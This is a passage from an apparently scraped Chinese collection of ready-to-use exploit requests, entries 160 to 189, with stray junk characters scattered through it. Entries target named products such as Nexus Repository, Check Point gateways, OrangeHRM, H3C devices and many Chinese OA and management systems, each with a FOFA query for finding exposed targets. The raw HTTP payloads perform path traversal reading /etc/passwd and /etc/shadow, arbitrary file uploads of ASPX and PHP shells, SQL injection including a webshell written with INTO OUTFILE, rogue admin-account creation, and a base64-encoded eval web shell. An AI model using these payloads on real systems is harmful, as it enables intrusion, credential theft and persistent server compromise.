8 v# l# A, Z: k<fileName>abcrce.asmx</fileName>
  ^2 q& j1 F+ U5 N% g' |<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
* L0 C9 @& ~1 I- D</jobUpload>
$ \  ~/ D( K; E2 ~$ B/ O</soap:Body>
</soap:Envelope>

" E$ h9 C+ n. Z' H! Y
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

3 V( }# O3 |4 D  ?- L' Z
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
* Z' T9 U8 b9 X3 n* _8 cFOFA：title="Nexus Repository Manager"
! s* `& M& \% B: K1 v  m* qGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
# i- z" `& z" Q% I5 OConnection: close
* y3 f0 J3 d. {/ O+ _& f. E: t% BAccept: */*
3 H% B% ], ]/ a  ~4 ]Accept-Language: en
Accept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
; ~# ]5 a) {8 C7 ~FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
: Y$ V' K( v% F; q) [8 S0 r3 ~* OContent-Length: 445
Content-Type: text/xml
% n# X6 Q: K- K. Z" J# TAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
/ P+ b/ D* z! Y  b: i; e% C# Dhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
: q5 k# \  a8 R! Y4 i5 i0 v9 }) u6 Jxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
, @+ O0 X, J/ N$ p" v<soap:Body>
# E. u9 l: M% n! u6 S# m/ p<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
, |6 t0 y" g# c4 t</soap:Envelope>
9 }+ [+ w- U0 E3 ~" N6 b  N! p

9 O- S* \3 [: n9 Yhttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
( |% c5 K6 {4 r: D8 k5 F: _. `FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
0 E# L+ ^0 i! E/ r+ @/ JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
4 A; |$ Z* w$ R$ e: J- {Connection: close
4 ~; [7 f$ _6 |* ]3 e& ?) o% b  mContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
# e; O8 M) e2 i. p8 U( pAccept-Encoding: gzip
, o3 {# n( y2 E5 T& I2 m! K# ]
------WebKitFormBoundaryeegvclmyurlotuey
$ e+ n0 g) u+ H3 K6 dContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
+ h. d6 \# F5 a4 x9 y; ], C  M. qContent-Type: application/octet-stream
5 v/ Y; m. X+ {. }$ f
3 O: i0 M4 j8 I% g0 r4 `<% response.write("ujidwqfuuqjalgkvrpqy") %>
1 Y$ h& X# V  g8 L7 @* p0 h9 X------WebKitFormBoundaryeegvclmyurlotuey
1 A+ J3 \- W$ e/ H) q$ o- |  K+ ]; q+ eContent-Disposition: form-data; name="action"
  }2 y7 j; D' b- j, Z: |1 g' j
upload
------WebKitFormBoundaryeegvclmyurlotuey
6 ^2 l5 k: z# e' p- @: w! ~6 AContent-Disposition: form-data; name="responderId"
! }  ^: ^/ K( _0 K9 B
ResourceNewResponder
3 b% d8 B9 z/ a: Q% t5 p" v6 M# Y2 ?------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
! T- g7 R$ ~, z& P# @) s  \! G7 b0 D
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
3 H' m/ `( u) n4 g. ^
$ p8 G3 W: Z: X; B$ u/ z
- [! A+ Y; o6 {http://x.x.x.x/opt/resources/kjuhitjgk.aspx

( ~/ J( F" ?& u3 s: w4 a6 P2 p163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
' e# U9 }  F$ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
3 u  b/ T3 [$ `' s! `2 q" bAccept-Encoding: gzip, deflate
9 Z6 b) V4 h0 d2 u- sAccept-Language: zh-CN,zh;q=0.9
6 C/ J4 H) x, \Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
- W% k9 r# f: ~, N" z6 Z
: }0 n% v: h* S; v* v! u4 C( I------iiqvnofupvhdyrcoqyuujyetjvqgocod
* Q8 }& s4 J! K) K9 K% GContent-Disposition: form-data; name="name"

1.php
/ q: [6 I$ `0 E* H# j" Q% ~+ |------iiqvnofupvhdyrcoqyuujyetjvqgocod
$ f8 c6 l9 }% n. l& V: Q3 h; T8 qContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
2 k7 _2 H" _+ L3 K: K+ i; ~------iiqvnofupvhdyrcoqyuujyetjvqgocod--
1 d. }: D1 S9 F- C1 w$ z4 l
5 o8 Q. ^! B" H2 F) n
1 M1 B+ k0 J  j: N0 }164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
  X$ F9 y  s/ N2 U, Y& l' aFOFA: title="智慧综合管理平台登入"
& |" [* j( K9 X. w7 X0 x5 a- tPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
. u/ L& o, P$ }& ^8 ~' u$ m  N1 ]+ bHost: x.x.x.x
% E" I2 O% E! s2 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
( E3 p1 [( G) M1 tContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
$ Z/ j' ~- c0 `- u. |! r4 U: r2 NConnection: close
' _: T1 Q+ B+ X. IContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
5 ]% u5 S% d/ E4 cX-Requested-With: XMLHttpRequest
# s/ f) E( P( b' q( R- LAccept-Encoding: gzip
2 |) s7 o- A+ w1 R/ I& Y/ R. L; i; \
------dqdaieopnozbkapjacdbdthlvtlyl
: e' k% Z* Q) @8 X# g  AContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
6 O1 \; V' _8 r" Q, l/ ~& GContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
1 d# X9 A( o# |0 w& W) Q------dqdaieopnozbkapjacdbdthlvtlyl--

  ?1 E1 W" k. F6 x* P
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


+ M- [( D( Z1 w- n% P0 Q! U166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
, e$ o" `# O2 cPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
0 k8 F0 e# F3 `* O( B* z, `# MCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
4 H& ~  i( x. LAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
. v6 d' c' U3 Q: I+ c  xCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
& L0 p; A- z) p9 q: |Content-Type: application/x-www-form-urlencoded
Content-Length: 89
; U5 }. D4 u5 e- {6 G* w" N- J
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
* d* E6 H) @* Z8 SHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
1 l: V* |7 u+ s! UAccept: */*
! a( \/ S  F, x) BConnection: keep-alive
+ a( j8 ^$ R& f

7 \. e# Z6 a% r: u+ |- o: F, N' E168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
* A( d1 K' ^& ^  G$ [3 V! KGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
$ s0 x. R5 `' e" r$ e* b+ J& \+ \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

3 L) v2 u! g, F+ X" c
5 k, B4 ]; N9 C+ m7 U
9 ^  `# e) |. `+ ]+ ^169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
% l; p+ k% ]  [6 S+ xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
3 {# }" a$ x' s6 e' a$ MConnection: close
8 j, T. r6 l  P1 |
! B, y. _! @. Z8 u7 b) [

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
1 O) J3 [; p6 d; I$ DFOFA：body="/general/sys/hjaxmanage.js"
7 ^1 \* _. w- |1 K5 e  Y! N% uPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
8 w8 j/ h- f9 F' A( iHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 p) D3 g* D# l9 |! ^! TContent-Type: application/x-www-form-urlencoded
/ s0 c: Y  o! P9 ~# j* D  j
. R( b. c& u$ V" O" zfilename=../webapps/ROOT/WEB-INF/web.xml
5 t$ j& O4 b# y( C" I4 I
; }& j" T2 b$ \  E
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
/ T% T1 {' t7 v+ _% d# qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
5 Y4 c0 T6 h0 H# w; N4 |Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 P+ \' ?9 W9 Z8 XConnection: close
6 ~( j: ~! I* ?. {

" v# u! W2 o7 z- P
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
. K* k( z* F5 ~1 c4 c3 AGET /../../../../etc/passwd HTTP/1.1
6 h- H; R0 X0 I9 G' Q9 I1 i! U" fHost: your-ip
4 k# [  U6 g/ {4 E2 P" K  Y& VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; [& v; L8 C/ RAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

, ~, c3 c8 {0 U, o8 D& p& ^" m
) F4 n9 F7 q2 y& d/ U
173. Check Point 安全网关任意文件读取
; U4 o2 x/ w( tCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
4 V) Y; e8 ^. `8 nContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow

  C& _0 _0 X; G, p+ |0 z2 x
1 _0 E2 h' c: t
0 a, l. G+ L  T$ ~+ W' I) e174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ Y! @: |1 U3 m% A' [Accept-Encoding: gzip, deflate, br
" z6 K+ B+ G; a8 \8 E) t- _8 i! _Accept-Language: zh-CN,zh;q=0.9
8 S( v1 w. r# w2 p8 Y: }Connection: close



0 v* Y- Q5 z* |) U175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 a/ |8 ]. U# ?1 J2 i# w( ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% \& ]& W, r$ H% N( rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 g1 P7 B$ N. Y! w9 W4 ]Connection: close
Upgrade-Insecure-Requests: 1
" l8 T$ j) l: y% F  }2 w
+ `: y8 h% F& ?1 \, }8 z- t1 a* h% y
176. 电信网关配置管理系统 rewrite.php 文件上传
" |1 Q& a7 e$ m1 K, ZFOFA：body="img/login_bg3.png" && body="系统登录"
' t3 s5 Q. |% e8 r5 h; DPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
" R/ f' H. D/ N1 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
- p3 B+ U2 \% |" D7 uConnection: close

* e! u3 o! H8 K/ z+ X# o! M5 B, ~------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
: O- y* d0 D$ |1 ?; h4 B
# ~+ w6 K; M9 Y3 |2 s<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
8 b9 K5 v1 ~4 c) T% a( d1 D
1 V: \' ^0 Y3 l# W- ~# P8 S: q
+ _- i8 X: x: t  H8 H6 Y9 L" Y) |------WebKitFormBoundaryOKldnDPT--
% Y( S( O7 ]$ t1 @* P6 L- Y
& T" g% s% C, {' x* H9 O
; Q0 Y! s- L- C" `4 _- Z
0 L, r% N) B6 E( s177. H3C路由器敏感信息泄露
; G7 Q$ O) H) r2 V0 o: q/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
( q9 J5 f% x2 q0 r* l( G" Y  R" e/userLogin.asp/../actionpolicy_status/../GR8300.cfg
$ F5 V' P4 f  g& @* ^" m) L9 ~/userLogin.asp/../actionpolicy_status/../GR5200.cfg
, l' B: L2 X* B. X" C6 C2 O- Z/ Z/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
5 `6 W; U, m3 ~+ Q% A/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
) v' s" n- a4 b( O9 ]/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/ b: L1 X' h2 J/ M$ @/ g- N* `/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
5 W; p# B$ J5 ]( B+ \' x, i' s/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
: W6 B3 {7 X5 I/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
7 `, L% G; {# R8 @/userLogin.asp/../actionpolicy_status/../ER3260.cfg
9 t1 \( |- m3 @- @' c2 m2 h2 q/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
9 S( L* i1 r0 A& b/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
, ]! i! Z; N& s/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
8 e. C8 x  j; \$ ?4 p+ u7 i7 e

* v# `5 m/ S4 z0 h7 r3 D1 h9 h178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
( O' T8 ~5 o! KPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
2 B% R' C/ @; g7 IAccept-Encoding: gzip, deflate
Connection: close
: ^7 S2 ?8 l; s* Q2 ]# TContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
. a/ {7 M3 Q- O% R7 `Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
( I4 ^/ g- R% U. J! pContent-Length: 255
: a$ i! N4 G% w
12234
-----------------aqutkea7vvanpqy3rh2l--


GET /imc/primepush/%2e%2e/flex/12234.txt

) u8 g. \% j( p
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
3 b0 ^1 |# W+ d, N, uContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
0 @9 O# x' v& Z/ A7 |8 F) x6 j
& Z0 i* G/ A, J$ Dpath=../log4net.config&Name=
. p( _" E; z" H3 v, d' n
% u% t+ D$ V9 D
! \( x' ]2 b$ q+ a180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
& Y  I) z  x  g1 v3 dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ Y+ E' ~+ C& j1 e) z) x. ^* w. JAccept-Encoding: gzip, deflate
. _* m% M: h: SAccept-Language: zh-CN,zh;q=0.9
& x1 Z* v& R) h  L; \8 X$ PConnection: close
* N0 X5 @" q2 C  o2 N: [3 }

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
% p& R6 s* q# o5 l) SFOFA："PDCA/js/_publicCom.js"
' ^( O6 C4 L: u0 x! YPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
( [1 _. G6 F1 s$ k3 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
! Q% I: j' b+ F
- L% G* e( h, u5 y- X' Y+ L
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

& A5 }; a, b6 @+ G9 ]
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
: Q: L: @8 B) Z7 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
  L8 s) f$ s9 A, tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 V% u, T1 s4 @: B1 H& C! c/ q' GAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

8 D/ R% D6 C! d
username=test1234&pwd=test1234&savedays=1


) ?0 B/ K- g& q! c$ |! ]183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
* m6 P; m8 o3 }GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
% V9 M6 I* z& O) |7 q% yHost: your-ip
: i0 B% {/ `$ L" k& e% i  |User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
; k2 X6 B, C* @% P3 z" \2 p. rAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
% i+ y6 F: a. G# ^+ t
0 w& U- M4 e9 U  E) c4 ]
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
: q( f( K- X3 t( x$ B7 _/ X# a. Y6 X! FFOFA：server="SunFull-Webs"
, t' n( u4 _* hPOST /soap/AddUser HTTP/1.1
Host: your-ip
2 D9 Y1 D8 I9 I  {' sAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
: W- `! F5 `3 S, Z* k2 qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. p! J, d# u9 k1 o+ cX-Requested-With: XMLHttpRequest
. j5 V* v- U/ j+ N4 [

/ v; D0 g5 C9 e7 z# P& Zinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

& D  A. u1 p- Z7 }$ M0 |2 m
185. 瑞友天翼应用虚拟化系统SQL注入
% i" n% ]. v5 ], \. aversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
* f! c5 d  s0 l9 d7 m8 c- [  tGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
: f, W- f3 k2 t. z1 UHost: host

( \+ O% `* q) ^- D
186. F-logic DataCube3 SQL注入
5 G, ~2 B# X5 j5 nCVE-2024-31750
$ m5 y3 c/ v& L2 o: qF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& q  B/ |2 s4 x& z2 u4 \# EAccept-Encoding: gzip, deflate
3 w, C2 B. z, \Connection: close
9 M, A8 i8 E' x: |$ V8 L& I1 XContent-Type: application/x-www-form-urlencoded
$ j6 p& E( ]" M5 \4 f2 s: b
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
. Y! E6 i2 G( {. n

187. Mura CMS processAsyncObject SQL注入
$ h* g. M/ {9 L' M4 l: L- x4 sCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
, {* L( X0 n7 V; kContent-Type: application/x-www-form-urlencoded
% I: Q2 x0 `5 B/ q
6 [' Q0 U7 V" @6 s9 y& q& U1 B
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

5 o# X) @# z6 O0 j# ~
1 g- A% j+ N. K' H1 Z188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
, G- n9 B1 {# p- S' ]. m. jGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
6 X5 I$ U, h8 J  w" @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 I% g  r5 ]1 p8 f6 f6 RAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
) g. q7 Y3 Y. O" R6 d" W2 c) @, C: VConnection: close


6 I. q& v7 h) b, F: t' f189. 蓝网科技临床浏览系统 deleteStudy SQL注入
1 q# S! S  C& Z! }FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
# s$ `, w1 C$ G& t& m& \6 ~4 bUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
